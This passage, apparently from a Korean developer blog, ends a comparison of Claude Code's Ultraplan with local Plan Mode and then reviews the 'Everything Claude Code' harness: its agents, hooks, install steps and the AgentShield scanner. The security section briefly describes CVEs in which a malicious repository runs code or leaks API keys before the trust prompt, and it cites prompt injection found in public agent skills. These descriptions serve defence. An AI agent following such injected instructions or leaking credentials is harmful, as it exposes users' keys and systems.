리스크 관리	언급 없음	우세 — 사전 리스크 정의 및 대응
컨텍스트 활용	우세 — 로컬 파일 직접 읽기 가능	GitHub 클론 기반, 커밋되지 않은 파일 접근 불가
종합	실행에 강함	문서화에 강함

결론: "어느 쪽이 더 좋은가"는 목적에 따라 다르다.

지금 바로 실행할 계획이 필요하다면 → 로컬 Plan Mode. 프로젝트의 실제 데이터를 분석하고, 로컬 파일(커밋되지 않은 작업 포함)에 접근하여 구체적인 액션 아이템을 도출한다.
팀에 공유할 구조화된 계획서가 필요하다면 → Ultraplan. 체계적인 Phase 구분, 리스크 매트릭스, 검증 방법론이 포함된 문서 수준의 산출물을 생성한다.

이상적으로는 Ultraplan으로 큰 그림을 그리고, 로컬 Plan Mode로 실행 세부사항을 채우는 조합이 가장 효과적이다.

- 나의 경우 상기 두개의 플랜을 서로 상호 보완 한 후 그 결과를 토대로 개선작업을 진행 시켰다.

6. 요금제 및 제한사항

⚠ 주의 이 섹션의 가격 정보는 2026-04-08 기준이다. 요금은 언제든 변경될 수 있으므로, 최신 가격은 공식 페이지에서 확인하기 바란다.

Max 플랜 구조

Claude Code Ultraplan을 사용하려면 최소 Pro 플랜이 필요하다. 더 많은 사용량이 필요한 경우 Max 플랜을 고려한다.

플랜	월 요금	사용량	주요 특징
Pro	$20	기준	Claude Code, Ultraplan 기본 접근
Max 5x	$100	Pro의 5배	Claude Code 집중 사용자용
Max 20x	$200	Pro의 20배	하루 종일 개발 워크로드용

Max 5x와 Max 20x의 기능 세트는 동일하다. 유일한 차이는 사용량 할당량이다. 독립 테스트에 따르면 Max 5x는 5시간 창당 약 225개 메시지, Max 20x는 약 900개 메시지를 처리한다. (이는 공식 수치가 아닌 커뮤니티 측정값이다)

포함 기능 (Max 플랜 기준)

멀티모달 채팅
Claude Code 통합 (터미널 에이전트)
Cowork 파일 워크플로우
메모리 기능
신기능 얼리 액세스 (새 모델, 보이스 모드 등)
피크 시간 우선 서비스

Ultraplan 제한사항 요약

GitHub 연동 필수 (로컬 전용 저장소는 번들 폴백, 100MB 제한)
유저 레벨 설정(~/.claude/) 미동기화 — 프로젝트에 커밋된 설정만 사용 가능
research preview 단계 — 피드백에 따라 변경 가능
Ultraplan 시작 시 Remote Control 자동 해제
Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서 사용 불가
Claude Code v2.1.91 이상 필요

7. 대안 비교: Ultraplan vs 로컬 Plan Mode

비교 항목	Ultraplan (클라우드)	로컬 Plan Mode
실행 위치	Anthropic 관리 클라우드 VM	로컬 터미널
모델	미공개 (공식 문서에 명시 없음)	설정된 모델
리소스	약 4 vCPU / 16GB RAM / 30GB 디스크	로컬 머신 사양
터미널 차단	없음 (터미널 자유)	있음 (터미널 점유)
커스텀 Skill	프로젝트 커밋 skill만 지원 (유저 레벨 미지원)	전체 지원
GitHub 연동	필수	선택
로컬 환경 접근	미지원	지원
리뷰 인터페이스	인라인 댓글, 이모지 반응, 아웃라인	터미널 텍스트 기반
대규모 리팩토링	병렬 에이전트로 유리	순차 처리
인터넷 없는 환경	사용 불가	사용 가능

한 줄로 요약하면: Ultraplan은 대규모 복잡한 플래닝에서 클라우드 병렬 처리의 이점을 제공하고, 로컬 Plan Mode는 커스텀 환경과 오프라인 상황에서 안정적이다.

결정 매트릭스: 언제 무엇을 써야 하는가

시나리오	권장 선택	이유
대규모 코드베이스 리팩토링	Ultraplan	병렬 에이전트, 긴 처리 시간, 브라우저 리뷰
유저 레벨(~/.claude/) skill 워크플로우	로컬 Plan Mode	유저 레벨 설정 클라우드 미동기화
빠른 단일 파일 수정	로컬 Plan Mode	Ultraplan 오버헤드 불필요
팀 플랜 리뷰 필요	Ultraplan	인라인 댓글, 이모지 반응
로컬 파일 시스템 접근 필요	로컬 Plan Mode	클라우드는 GitHub 스냅샷만 접근
오프라인/VPN 환경	로컬 Plan Mode	Ultraplan은 인터넷 필수
브라우저 리뷰 인터페이스 필요	Ultraplan	인라인 댓글, 이모지 반응 지원

8. 트러블슈팅 Q&A + 결론

자주 묻는 질문

Q: "Ultraplan이 시작되지 않아요"

A: 두 가지를 확인한다. 첫째, Pro 이상 플랜 계정으로 로그인했는가. 둘째, GitHub 저장소가 연동되어 있는가. 로컬 전용 저장소에서는 Ultraplan이 작동하지 않는다.

Q: "플랜을 승인했는데 Claude가 플랜 파일이 아닌 소스 파일을 직접 편집해요"

A: 알려진 버그다. Ultraplan 승인 후 Plan Mode 제약이 위반되는 문제로, 2026-04-08 기준 미해결 상태다. GitHub Issues #43576에 리포트되어 있다. 임시 해결책으로 Ultraplan 결과를 받은 후 수동으로 플랜 파일을 확인하고 소스 편집 전에 플랜 내용을 검토한다.

Q: "커스텀 skill이 Ultraplan에서 작동하지 않아요"

A: 클라우드 세션은 저장소 클론에서 시작하므로, 프로젝트에 커밋된 .claude/skills/는 정상 작동한다. 작동하지 않는 것은 ~/.claude/ 아래의 유저 레벨 설정이며, 이는 설계상 클라우드에 동기화되지 않는다. skill을 클라우드에서 사용하려면 프로젝트 저장소에 커밋하면 된다. 별도로 v0.88+ 버전에서 skill 로딩 자체의 버그가 리포트되어 있다. (Issue #41882, Issue #41243)

Q: "Ultraplan이 얼마나 빠른가요? 11배라는 말이 사실인가요?"

A: "11배 빠름"은 단일 커뮤니티 사례에서 나온 수치로 독립 검증이 어렵다. 커뮤니티 테스트 기준 "약 2배 빠름"이 더 일반적인 기준치로 보인다. 속도 향상의 본질은 클라우드 병렬 에이전트 아키텍처에 있으며, 작업 복잡도가 높을수록 이점이 커진다.

최종 결론: 지금 당장 써야 하는가

Ultraplan은 강력하지만 아직 완성되지 않은 도구다. 다음 기준으로 결정한다.

지금 쓸 것:

대규모 코드베이스 리팩토링이 필요한 경우
팀과 함께 플랜을 검토하고 싶은 경우
터미널 차단 없이 긴 플래닝이 필요한 경우

아직 기다릴 것:

유저 레벨(~/.claude/) skill에 의존하고 프로젝트 커밋이 어려운 워크플로우
로컬 파일 시스템에 직접 접근해야 하는 작업
Bedrock / Vertex AI / Foundry 환경을 사용하는 경우

Ultraplan은 AI 통제력 진화의 세 번째 단계인 하네스 엔지니어링의 실제 구현이다.

현재 research preview 단계이고 제약도 있지만, 방향성은 분명하다. 클라우드 에이전트가 코드베이스를 이해하고 플랜을 세우는 시대가 시작됐다.

참고 자료

"하네스 엔지니어링" - Everything Claude Code 리뷰 : 혼자서 팀처럼 개발하는 에이전트 셋업(ECC 하네스 셋업으로 생산성 2배 끌어올리기)

갓대희 — Fri, 3 Apr 2026 01:26:17 +0900

안녕하세요! 갓대희 입니다.

오늘은 GitHub에서 133,000+ Star(2026년 4월 3일 GitHub 기준)를 기록하며 폭발적인 관심을 받고 있는 Everything Claude Code (ECC) 프로젝트에 대해 알아보려고 한다.

ECC는 Claude Code, Cursor, Codex 등 AI 코딩 에이전트를 사용하는 개발자라면 알아두면 유용한 성능 최적화 시스템이다.

Everything Claude Code 소개
- 프로젝트 개요
- Anthropic 해커톤 우승 배경
- 왜 주목해야 하는가
프로젝트 전체 구조
- 디렉토리 구성
- 핵심 구성요소 한눈에 보기
3대 가이드 — Shortform / Longform / Security
- Shortform Guide — 기본기 다지기
- Longform Guide — 고급 패턴
- Security Guide — 에이전트 보안
핵심 구성요소 상세
- Agents (36개 전문 에이전트)
- Skills (151개 워크플로우 스킬)
- Commands (68개 레거시 슬래시 엔트리)
- Hooks (자동화 훅 시스템)
- Rules (12개 언어/생태계 규칙)
크로스 플랫폼 지원
- Claude Code, Codex, Cursor, OpenCode 중심의 크로스 하네스 지원
AgentShield — 보안 스캐너
- 주요 기능
- 사용법
토큰 최적화 & Continuous Learning
- 모델 라우팅 전략
- Instinct 시스템
- 컨텍스트 관리
설치 및 시작 가이드
- 설치 방법 4가지
- 프로파일 선택
실전 활용 팁
- 병렬 작업 패턴
- Two-Instance Kickoff
- 주의사항
커뮤니티 반응과 주의사항
- 긍정적 반응
- 비판과 우려
결론

Everything Claude Code (ECC) 가이드
ECC는 단순한 설정 파일 모음이 아니다. 36개 전문 에이전트, 151개 워크플로우 스킬, 68개 레거시 슬래시 엔트리, 자동화 훅 시스템, 보안 스캐너까지 포함한 에이전트 하네스 성능 최적화 시스템이다.
Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화된 크로스 하네스 생태계를 갖추고 있다.

1. Everything Claude Code 소개

프로젝트 개요

Everything Claude Code (ECC)는 Affaan Mustafa가 만든 오픈소스 프로젝트로,

AI 코딩 에이전트의 성능을 체계적으로 끌어올리는 통합 시스템이다.

"에이전트 하네스(Agent Harness)"란?

테스트 하네스가 테스트 환경을 제어하듯, 에이전트 하네스는 AI 에이전트의 입력(프롬프트, 규칙), 출력(훅, 검증), 도구 접근(권한)을 체계적으로 관리하는 외부 프레임워크를 말한다.
ECC는 스스로를 "에이전트 하네스 성능 최적화 시스템"이라고 정의한다.

항목	내용
GitHub	github.com/affaan-m/everything-claude-code
Stars	133,000+ (2026년 4월 3일 GitHub 기준)
npm 패키지	`ecc-universal` (v1.9.0)
라이선스	MIT
지원 플랫폼	Claude Code, Codex, Cursor, OpenCode, Antigravity, Gemini CLI(실험적)
웹사이트	ecc.tools

Anthropic 해커톤 우승 배경

제작자 Affaan Mustafa는 2025년 9월 Anthropic x Forum Ventures 해커톤(NYC)에서 우승한 바 있다.

팀원 @DRodriguezFX와 함께 8시간 만에 zenith.chat를 Claude Code만으로 구축하여 1위를 차지했다. 제작자 개인 사이트 기준 약 75명 참가자 중 1위이며, API 크레딧(제작자 자기 주장 기준 $15,000 상당)을 수상했다.

참가자 수와 상금은 공식 행사 페이지에 금액 미기재. 출처: 제작자 개인 사이트 / Forum Ventures 공식 페이지

이후 2026년 2월 Cerebral Valley x Anthropic 해커톤에서는 보안 스캐너인 AgentShield를 개발했다. 이 두 해커톤의 경험과 10개월 이상의 Claude Code 집중 사용 노하우가 ECC에 녹아 있다.

검증된 출처

해커톤 우승 사실은 God of Prompt(@godofprompt)의 X 포스트, Medium 기사(Joe Njenga), Dev Genius 기사(JP Caparas), Forum Ventures 공식 사이트 등 다수의 독립 출처에서 확인된다.

왜 주목해야 하는가

ECC가 단순한 CLAUDE.md 설정 모음과 다른 점은 다음과 같다:

통합 시스템: 에이전트 + 스킬 + 명령어 + 훅 + 규칙이 유기적으로 연동되는 피드백 루프 구조
크로스 플랫폼: Claude Code뿐 아니라 Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화
12개 언어/생태계: TypeScript, Python, Go, Rust, Java, Kotlin, Swift, C++, PHP, Perl 등 폭넓은 언어/프레임워크 규칙과 리뷰어 제공
자가 학습: Continuous Learning v2로 세션에서 패턴을 자동 학습하여 스킬로 진화
보안 내장: AgentShield 보안 스캐너와 종합 보안 가이드 포함

2. 프로젝트 전체 구조

디렉토리 구성

ECC의 전체 프로젝트 구조는 다음과 같다:

everything-claude-code/
├── agents/           # 36개 전문 서브에이전트 (Markdown + YAML)
├── skills/           # 151개 워크플로우 스킬
├── commands/         # 68개 레거시 슬래시 엔트리
├── hooks/            # hooks.json — 자동화 훅 설정
├── rules/            # 코딩 규칙 (common/ + 12개 언어/생태계)
├── contexts/         # 동적 시스템 프롬프트 (dev, review, research)
├── examples/         # CLAUDE.md 예제 (SaaS, Go, Django, Laravel, Rust)
├── mcp-configs/      # MCP 서버 설정 모음
├── schemas/          # 10개 JSON 스키마
├── scripts/          # CLI 도구 (ecc.js, claw.js, doctor.js 등)
├── docs/             # 번역 (한국어, 일본어, 중국어 등 6개 언어)
├── .claude/          # Claude Code 설정
├── .claude-plugin/   # Claude Code 플러그인 메타데이터
├── .codex/           # OpenAI Codex 지원
├── .codex-plugin/    # Codex 플러그인 메타데이터
├── .cursor/          # Cursor IDE 지원
├── .opencode/        # OpenCode 지원
├── .gemini/          # Gemini CLI 지원 (실험적)
├── the-shortform-guide.md   # 핵심 가이드
├── the-longform-guide.md    # 고급 가이드
└── the-security-guide.md    # 보안 가이드

핵심 구성요소 한눈에 보기

구성요소	수량	역할
Agents	36	특화된 서브에이전트 (planner, code-reviewer, security-reviewer 등)
Skills	151	도메인별 워크플로우 정의 (TDD, 보안 리뷰, 프레임워크 패턴 등)
Commands	68	레거시 슬래시 엔트리 (/plan, /tdd, /code-review 등)
Hooks	25+	7개 이벤트 타입에 걸친 자동화 트리거
Rules	34+	공통 규칙 + 12개 언어/생태계별 코딩 규칙
MCP Configs	여러 개	사전 구성된 MCP 서버 템플릿/설정 모음

3. 3대 가이드 — Shortform / Longform / Security

ECC에는 세 개의 핵심 가이드 문서가 포함되어 있다. 제작자는 Shortform Guide를 가장 먼저 읽을 것을 권장한다.

Shortform Guide — 기본기 다지기

전체 구조를 잡는 데 가장 중요한 문서다. 다음 핵심 개념을 다룬다:

Skills & Commands: ~/.claude/skills/에 저장되는 워크플로우 정의. 코드맵(codemap)을 포함하여 Claude가 컨텍스트 소모 없이 코드베이스를 탐색할 수 있게 한다.
Hooks: 다양한 훅 타입(PreToolUse, PostToolUse, SessionStart, Stop, PreCompact 등)으로 도구 호출 전후에 자동 실행되는 스크립트. ECC의 hooks.json은 7개 이벤트 타입을 활용한다.
Subagents: 제한된 범위와 도구 권한을 가진 위임 프로세스. 메인 에이전트의 컨텍스트를 절약한다.
Rules & Memory: .claude/rules/에 모듈별로 구성된 규칙 파일(보안, 코딩 스타일, 테스팅, Git 워크플로우 등).
MCPs: 외부 서비스 연결. 단, 컨텍스트 윈도우에 미치는 영향을 주의해야 한다.

MCP 컨텍스트 경고

제작자의 경고: "200K 컨텍스트 윈도우가 MCP 도구가 너무 많으면 실제로는 70K밖에 안 될 수 있다."
권장: 20~30개 설정하되, 동시 활성화는 10개 미만, 활성 도구는 80개 미만으로 유지한다.

제작자의 실제 셋업도 공개되어 있다. 14개 MCP 서버를 설정하되 프로젝트당 5~6개만 활성화하고, 커스텀 훅으로 포맷팅, 타입체크, console.log 경고 등을 자동화한다.

Longform Guide — 고급 패턴

Shortform을 읽은 뒤 진행하는 심화 가이드다. 핵심 내용:

MCP를 CLI로 대체하기

GitHub, Supabase, Vercel 등 많은 MCP는 기존 CLI를 래핑한 것에 불과하다. MCP 대신 CLI를 직접 사용하는 스킬/커맨드를 만들면 토큰 비용을 절감할 수 있다.

동적 시스템 프롬프트 주입

CLAUDE.md에 모든 것을 넣는 대신, --system-prompt 플래그로 상황에 맞는 컨텍스트를 동적으로 주입한다:

# 개발 모드
alias claude-dev='claude --system-prompt "$(cat ~/.claude/contexts/dev.md)"'

# 코드 리뷰 모드
alias claude-review='claude --system-prompt "$(cat ~/.claude/contexts/review.md)"'

# 리서치 모드
alias claude-research='claude --system-prompt "$(cat ~/.claude/contexts/research.md)"'

서브에이전트 모델 라우팅

작업 유형에 따라 적절한 모델을 선택하여 비용을 최적화한다:

ex) 작업의 복잡도에 따라

ex) 비용과 성능에 따라

작업 유형	권장 모델	이유
탐색/검색	Haiku	빠르고 저렴하며, 파일 탐색에 충분
일반 코딩 (90%)	Sonnet	비용 대비 성능 최적
아키텍처/보안	Opus	깊은 추론 필요, 취약점 놓칠 수 없음
문서 작성	Haiku	구조가 단순한 작업
복잡한 디버깅	Opus	전체 시스템 맥락이 필요

mgrep — 토큰 절감 도구

ECC 공식 Longform Guide의 자체 벤치마크에 따르면, mgrep 플러그인은 기존 grep/ripgrep 대비 약 50% 수준의 토큰 절감을 목표로 설계됐다. 다만 이 수치는 ECC 측이 공개한 50개 작업 벤치마크 기반이므로, 독립적인 외부 검증 수치로 보기는 어렵다.

Security Guide — 에이전트 보안

AI 에이전트 보안에 대한 종합 가이드다. 실제 CVE와 공격 벡터를 다룬다.

주요 보안 이슈 (2025-2026)

CVE-2025-59536 (CVSS 8.7): Claude Code의 startup trust dialog 구현 버그로 인해 사용자가 신뢰를 승인하기 전에 프로젝트 내 코드가 실행될 수 있었던 취약점. v1.0.111에서 수정.
CVE-2026-21852: 악성 저장소가 프로젝트 로드 단계에서 ANTHROPIC_BASE_URL 등을 악용해 신뢰 확인 전에 API 요청을 보내고 키를 유출할 수 있었던 취약점. v2.0.65에서 수정.
Snyk ToxicSkills 보고서: 공개된 3,984개 스킬 중 36%에서 프롬프트 인젝션이 발견되었고, 1,467개의 악성 페이로드가 식별됨.

Security Guide가 제시하는 최소 보안 기준 체크리스트:

에이전트 ID를 개인 계정과 분리한다
단기 스코프 자격 증명을 사용한다
비신뢰 작업은 컨테이너/VM에서 격리하여 실행한다
아웃바운드 네트워크를 기본 차단한다
비밀 정보가 담긴 경로에 대한 읽기를 제한한다
파일/HTML/스크린샷은 권한 있는 에이전트에 전달하기 전에 정제(sanitize)한다
도구 호출, 승인, 네트워크 시도를 로깅한다
프로세스 그룹 킬(kill)과 하트비트 기반 데드맨 스위치를 구현한다

제작자의 보안 철학

"악의적인 텍스트가 컨텍스트에 들어올 것을 전제하고 만들어라. 도구 설명이 거짓말할 수 있다고 전제하고 만들어라. 저장소가 오염될 수 있다고 전제하고 만들어라. 그리고 모델이 악의적 입력에 설득당하더라도 시스템이 안전하게 동작하도록 만들어라."

4. 핵심 구성요소 상세

Agents — 36개 전문 에이전트

각 에이전트는 YAML 프론트매터가 포함된 Markdown 파일로 정의된다. name, description, tools(접근 가능한 도구), model(사용 모델)을 지정한다.

# agents/planner.md 예시
---
name: planner
description: Expert planning specialist for complex features
tools: ["Read", "Grep", "Glob"]
model: opus
---
구현 계획을 단계별로 수립합니다. 독립적으로 전달 가능한
단계로 나누고, 위험 요소를 식별합니다...

참고: model 프론트매터 우선순위

현재 Claude Code 공식 문서는 서브에이전트 frontmatter의 model 필드를 지원한다. 다만 실제 실행 모델은 CLAUDE_CODE_SUBAGENT_MODEL 환경 변수 → 호출 시 전달한 model → 에이전트 frontmatter의 model → 메인 대화 모델 순서로 결정된다. 즉, frontmatter만 믿기보다 상위 override가 있는지 함께 봐야 한다.

에이전트는 크게 다음 카테고리로 분류된다:

카테고리	에이전트
기획/설계	planner (opus), architect (opus)
코드 품질	code-reviewer (opus), refactor-cleaner, 언어별 리뷰어 8개 (TS, Python, Go, Rust, Java, Kotlin, C++, Flutter)
빌드 에러	build-error-resolver, 언어별 빌드 리졸버 6개 (Go, Rust, Kotlin, Java, C++, PyTorch)
보안/테스트	security-reviewer, tdd-guide, e2e-runner
운영/문서	loop-operator, harness-optimizer, chief-of-staff, doc-updater, docs-lookup, database-reviewer

ex) 1인 개발팀 예시

Skills — 151개 워크플로우 스킬

스킬은 하위 디렉토리에 SKILL.md로 구성되며, 도메인별로 분류된다:

핵심 워크플로우: tdd-workflow, security-review, verification-loop, search-first, eval-harness
Python: python-patterns, python-testing, django-* (4개), pytorch-patterns
TypeScript/JS: coding-standards, frontend-patterns, bun-runtime, nextjs-turbopack
Go: golang-patterns, golang-testing
Java/Kotlin: java-coding-standards, jpa-patterns, springboot-* (4개), kotlin-* (5개)
Rust/C++/Swift: rust-patterns, cpp-coding-standards, swift-* (4개)
AI/ML: cost-aware-llm-pipeline, prompt-optimizer, agentic-engineering
비즈니스: article-writing, market-research, investor-materials

search-first 스킬 주목

"코딩 전 리서치"를 체계화한 스킬이다. 5단계 워크플로우(니즈 분석 → 병렬 검색 → 평가 → 결정 → 구현)로, 기존 패키지나 MCP를 먼저 조사한 뒤 직접 구현 여부를 결정한다. "바로 코드부터 작성하기" 안티패턴을 방지한다.

Commands — 68개 레거시 슬래시 엔트리

주요 명령어를 카테고리별로 정리하면:

카테고리	명령어
개발	`/plan`, `/tdd`, `/e2e`, `/code-review`, `/build-fix`, `/verify`
언어별	`/go-review`, `/python-review`, `/rust-review`, `/kotlin-review`, `/cpp-review` 등
학습/세션	`/learn`, `/evolve`, `/instinct-status`, `/save-session`, `/resume-session`
멀티에이전트	`/multi-plan`, `/multi-execute`, `/orchestrate`
품질/유틸	`/harness-audit`, `/quality-gate`, `/model-route`, `/context-budget`

Hooks — 자동화 훅 시스템

ECC의 훅 시스템은 공개된 프로젝트 가운데 가장 정교한 구성에 속한다. 7개 이벤트 타입에 걸쳐 25개 이상의 훅이 작동한다.

주요 훅 예시

이벤트	훅	역할
PreToolUse	block-no-verify	git commit에서 `--no-verify` 사용 차단
PreToolUse	config-protection	30개 이상의 린터/포맷터 설정 파일 수정 차단
PreToolUse	mcp-health-check	비정상 MCP 서버 호출 차단
PostToolUse	post-edit-format	JS/TS 파일 자동 포맷 (Biome 또는 Prettier)
PostToolUse	post-edit-typecheck	.ts/.tsx 수정 후 TypeScript 타입 체크
Stop	evaluate-session	세션에서 학습 가능한 패턴 추출
SessionStart	session-start	이전 세션 컨텍스트 로딩, 패키지 매니저 감지

프로파일 기반 제어

모든 훅은 run-with-flags.js를 통해 실행되며, ECC_HOOK_PROFILE 환경변수(minimal / standard / strict)에 따라 활성화 여부가 결정된다. 팀이나 프로젝트 상황에 맞게 훅 강도를 조절할 수 있다.

Rules — 12개 언어/생태계 규칙

공통 규칙(rules/common/)과 언어별 규칙이 분리되어 있다:

공통: security.md, coding-style.md, git-workflow.md, testing.md, performance.md, patterns.md, hooks.md, agents.md
언어/생태계별: TypeScript, Python, Go, Swift, PHP, Java, Kotlin, C++, Rust, Perl 등 폭넓은 규칙 세트를 제공한다.

5. 크로스 플랫폼 지원

ECC의 특징 중 하나는 여러 AI 코딩 하네스를 가로지르는 설정/워크플로우를 제공한다는 점이다.

플랫폼	설정 디렉토리	비고
Claude Code	`.claude/`	주요 타깃. 플러그인 시스템 지원
Codex (OpenAI)	`.codex/`	AGENTS.md, agents/, config.toml
Cursor IDE	`.cursor/`	hooks, rules, skills
OpenCode	`.opencode/`	12 에이전트, 24 커맨드, 16 스킬, 3 네이티브 도구
Gemini CLI	`.gemini/`	실험적 project-local 지원
Antigravity	-	`--target antigravity` 플래그

6. AgentShield — 보안 스캐너

AgentShield는 Cerebral Valley x Anthropic 해커톤에서 탄생한 독립 npm 패키지(ecc-agentshield)다. AI 에이전트 설정의 보안 취약점을 스캔한다.

주요 기능

5개 스캔 카테고리: 시크릿 탐지(14개 패턴), 권한 감사, 훅 인젝션 분석, MCP 서버 위험 프로파일링, 에이전트 설정 검토
102개 정적 분석 규칙과 1,282개 테스트 (98% 커버리지)
--opus 플래그: 3개의 Claude Opus 에이전트가 레드팀/블루팀/감사자 파이프라인으로 심층 분석
CI 통합: 치명적 발견 시 종료 코드 2를 반환하여 빌드 게이트로 사용 가능

사용법

# 기본 스캔
npx ecc-agentshield scan

# 자동 수정 포함 스캔
npx ecc-agentshield scan --fix

# Opus 에이전트 심층 분석
npx ecc-agentshield scan --opus

# 프로젝트 초기화
npx ecc-agentshield init

출력 형식은 터미널(A~F 등급), JSON(CI용), Markdown, HTML을 지원한다.

7. 토큰 최적화 & Continuous Learning

Instinct 시스템 (Continuous Learning v2)

ECC의 자가 학습 시스템은 Instinct 개념을 중심으로 작동한다:

PreToolUse/PostToolUse 훅(observe.sh)이 도구 사용 패턴을 캡처한다
캡처된 패턴은 신뢰도 점수(0.3~0.9)와 도메인 태그(code-style, testing, git 등)를 가진 "Instinct"로 저장된다
프로젝트별로 스코핑되어(git remote URL 해시 기반) 프로젝트 간 오염을 방지한다
/evolve 명령어로 축적된 Instinct들을 클러스터링하여 새로운 스킬/커맨드/에이전트로 진화시킨다

관련 명령어

/instinct-status — 현재 학습된 Instinct 조회
/evolve — Instinct를 스킬로 진화
/instinct-export / /instinct-import — 팀 간 공유
/promote — 프로젝트 스코프에서 글로벌로 승격
/prune — 만료된 Instinct 정리

컨텍스트 관리 전략

ECC가 제안하는 컨텍스트 최적화 방법:

세션 파일 패턴: 진행 상황을 .claude/ 폴더의 임시 파일에 저장하고 다음 세션에서 로딩
전략적 컴팩션: 자동 컴팩션을 비활성화하고, 논리적 구간에서 수동으로 /compact 실행
메모리 퍼시스턴스 훅: PreCompact(상태 저장), Stop(학습 지속), SessionStart(컨텍스트 로딩)로 세션 간 연속성 보장
MCP를 CLI로 대체: 토큰 비용 절감을 위해 MCP 대신 CLI 래퍼 사용

8. 설치 및 시작 가이드

전제 조건

ECC는 Claude Code 위에 얹는 확장 생태계다. Claude Code가 먼저 설치되어 있어야 하며, 현재 공식 문서는 macOS/Linux/WSL에서 curl -fsSL https://claude.ai/install.sh | bash, Windows PowerShell에서 irm https://claude.ai/install.ps1 | iex, 또는 Homebrew/WinGet 설치를 안내한다. 계정은 보통 Claude 구독 또는 Anthropic Console 계정이 필요하며, Terminal CLI와 VS Code는 third-party provider도 지원한다. 개인 요금제는 현재 Pro 월 $20(연간 결제 시 월 환산 $17), Max 월 $100부터다. ECC 자체는 무료(MIT 라이선스)다.

ECC는 4가지 설치 방법을 제공한다. 제작자가 가장 권장하는 방법은 플러그인 설치다.

방법 1: 플러그인 (권장)

# Claude Code 마켓플레이스에서 추가
/plugin marketplace add affaan-m/everything-claude-code
/plugin install everything-claude-code@everything-claude-code

주의

플러그인 시스템의 제한으로, Rules는 수동 설치가 필요하다. rules/ 디렉토리를 ~/.claude/rules/에 직접 복사해야 한다.

방법 2: npm

# 언어 지정 설치 (두 가지 형식 모두 가능)
npx ecc typescript
npx ecc-install typescript
npx ecc python golang swift php

방법 3: 셸 스크립트

# 저장소 클론 후 설치
git clone https://github.com/affaan-m/everything-claude-code.git
cd everything-claude-code
./install.sh typescript python golang

# Cursor 대상 설치
./install.sh --target cursor typescript

방법 4: 수동 설치

저장소를 클론한 뒤 필요한 디렉토리(agents/, commands/, skills/, rules/)를 ~/.claude/에 직접 복사한다.

프로파일 선택

설치 시 5개 프로파일 중 선택할 수 있다:

프로파일	포함 내용
Core	규칙, 에이전트, 명령어, 훅, 플랫폼 설정, 품질 워크플로우
Developer	Core + 프레임워크 언어, 데이터베이스, 오케스트레이션
Security	Core + 전용 보안 모듈
Research	Core + 리서치 API, 비즈니스 콘텐츠, 소셜 배포
Full	전체 19개 모듈 포함

설치 팁

처음부터 모든 기능을 설치하기보다, 주로 사용하는 언어의 에이전트와 스킬만 먼저 선택적으로 설치하는 것을 권장한다. Shortform Guide를 가장 먼저 읽으면 전체 구조를 잡는 데 도움이 된다.

9. 실전 활용 팁

병렬 작업 패턴

ECC가 제시하는 병렬 작업의 핵심 원칙:

/fork: 코드 변경이 겹치지 않는 독립 작업에 사용. 메인 채팅은 코드 변경용, fork는 질문/리서치용으로 분리한다.
Git Worktrees: 코드 변경이 겹칠 수 있는 경우 필수. 워크트리별로 Claude 인스턴스를 배정한다.
Cascade Method: 새 작업을 오른쪽 탭에 열고, 왼쪽에서 오른쪽으로 스위핑한다. 동시 3~4개 작업이 적정 수준이다.

# Git Worktree로 병렬 Claude 인스턴스 실행
git worktree add ../project-feature-a feature-a
git worktree add ../project-feature-b feature-b
cd ../project-feature-a && claude

과도한 병렬화 경고

제작자는 "5개 이상의 인스턴스를 무작정 띄우지 말라"고 경고한다. "최소한의 병렬화로 얼마나 많은 작업을 처리할 수 있는가"가 올바른 목표다.

Two-Instance Kickoff 패턴

새 프로젝트를 시작할 때 2개의 Claude 인스턴스를 동시에 활용하는 패턴이다:

인스턴스 1 — 스캐폴딩 에이전트: 프로젝트 구조 생성, 설정 파일(CLAUDE.md, rules, agents) 셋업
인스턴스 2 — 딥 리서치 에이전트: 외부 서비스 연결, 웹 검색, 상세 PRD 작성, 아키텍처 다이어그램 생성

주의사항

과도한 설정 금지: "설정을 아키텍처가 아닌 미세 조정처럼 다뤄라." 복잡하게 만들면 오히려 역효과가 난다.
컨텍스트 윈도우 관리: 사용하지 않는 MCP와 플러그인은 반드시 비활성화한다.
서브에이전트 스코핑: 제한된 도구 = 집중된 실행. 서브에이전트에 모든 도구를 주지 않는다.
보안 인식: 외부 정보를 받아들이는 에이전트에는 반드시 격리/정제 단계를 거친다.

서브에이전트 컨텍스트 문제 해결

서브에이전트는 메인 에이전트의 의미적 맥락을 모른다. 해결책은 반복 검색 패턴이다:
1) 오케스트레이터가 서브에이전트의 반환값을 평가 → 2) 후속 질문 → 3) 서브에이전트가 추가 조사 후 반환 → 4) 충분해질 때까지 반복 (최대 3회).
핵심: 쿼리뿐 아니라 목적(objective context)을 함께 전달한다.

10. 커뮤니티 반응과 주의사항

ECC는 2026년 상반기 가장 빠르게 주목받은 AI coding harness 저장소 중 하나가 되었다. 하지만 커뮤니티에서는 긍정적 반응과 함께 의미 있는 비판도 제기되고 있다.

긍정적 반응

통합 시스템의 가치: awesome-claude-code 목록에서 "significant standalone value(독립적으로 의미 있는 가치)"가 있다고 평가
솔로 개발자의 팀 효과: 한국 커뮤니티에서는 "역할 기반 에이전트가 혼자서도 팀처럼 일할 수 있게 한다"는 점이 높은 호응
보안 의식: AgentShield와 Security Guide의 CVE 기반 실전 보안 가이드는 독보적이라는 평가

비판과 우려

과잉 설계(Over-engineering) 논란

r/ClaudeCode 커뮤니티에서 가장 많이 제기되는 비판이다. "997개 내부 테스트, 멀티 언어 규칙 아키텍처, 내장 오케스트레이션 엔진을 갖춘 설정 프레임워크는 대부분의 팀에게는 과도하다"는 의견이 있다.

(참고: Ewan Mak, Medium)

스타 수 대비 실제 사용률

npm 패키지 ecc-universal의 최근 한 달 다운로드 수는 7,565회(2026-03-03~2026-04-01 npm API 기준)로, GitHub 스타 수에 비해 여전히 차이가 있다. 이는 많은 사용자가 저장소를 직접 클론하거나 수동 복사 방식으로 사용하는 영향일 수 있지만, 관심 대비 실제 설치 전환율을 해석할 때는 신중할 필요가 있다.

컨텍스트 윈도우 부담

151개 스킬, 36개 에이전트, 68개 엔트리의 방대한 표면적은 컨텍스트 윈도우를 빠르게 소모할 수 있다. ECC 공식 문서에서도 "200K 컨텍스트가 70K로 줄어들 수 있다"고 경고하며, 프로젝트당 필요한 것만 활성화할 것을 권장한다.

균형 잡힌 접근

